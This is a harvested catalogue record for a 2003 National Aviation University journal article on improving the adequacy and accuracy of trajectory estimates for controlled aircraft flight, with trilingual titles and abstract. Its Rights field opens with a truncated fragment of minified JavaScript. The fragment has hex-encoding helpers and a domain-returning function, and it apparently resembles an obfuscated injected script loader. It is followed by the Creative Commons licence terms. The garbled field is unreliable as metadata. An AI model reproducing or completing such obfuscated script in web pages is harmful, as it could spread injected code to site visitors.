NAU Harvester System
Підвищення адекватності і точності відстеження траєкторій керованого польоту літаків
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Підвищення адекватності і точності відстеження траєкторій керованого польоту літаків
Повышение адекватности и точности отслеживания траекторий управляемого полета самолетов The method to increase an adequacy and exactitude of the tracking of controlled airplane flight |
|
| Creator |
Васильєв, В. М.; Національний авіаційний університет
|
|
| Subject |
—
— УДК 351.814 32/34:519.2 — — УДК 351.814 32/34:519.2 — — UDC 351.814 32/34:519.2 |
|
| Description |
Запропоновано спосіб підвищення адекватності і точності траєкторної оцінки при відстеженні траєкторії керованого польоту літака. Розглянуто метод вирішення проблеми нелінійності, що виникає при формуванні закону керування, який містить істотно нелінійні функції обмеження сигналів. Наведено результати статистичного моделювання
Предложен способ повышения адекватности и точности траекторной оценки при отслеживании траекторий управляемого полета самолетов. Рассмотрен метод решения проблемы нелинейности, которая возникает при формировании законов управления, содержащих существенно нелинейные функции ограничения сигналов. Приведены результаты моделирования The method to increase the adequacy and exactitude of trajectory estimates for tracking of controlled flight is proposed. The method of a solution of a non-linearity problem is also offered when imitate in trajectory estimation algorithm a control signal which includes nonlinear functions of restriction. The results of computer simulation are demonstrated |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2003-03-29
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/11628
10.18372/2306-1472.16.11628 |
|
| Source |
Proceedings of the National Aviation University; Том 16, № 1 (2003); 50-53
Вестник Национального авиационного университета; Том 16, № 1 (2003); 50-53 Вісник Національного Авіаційного Університету; Том 16, № 1 (2003); 50-53 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access). |
|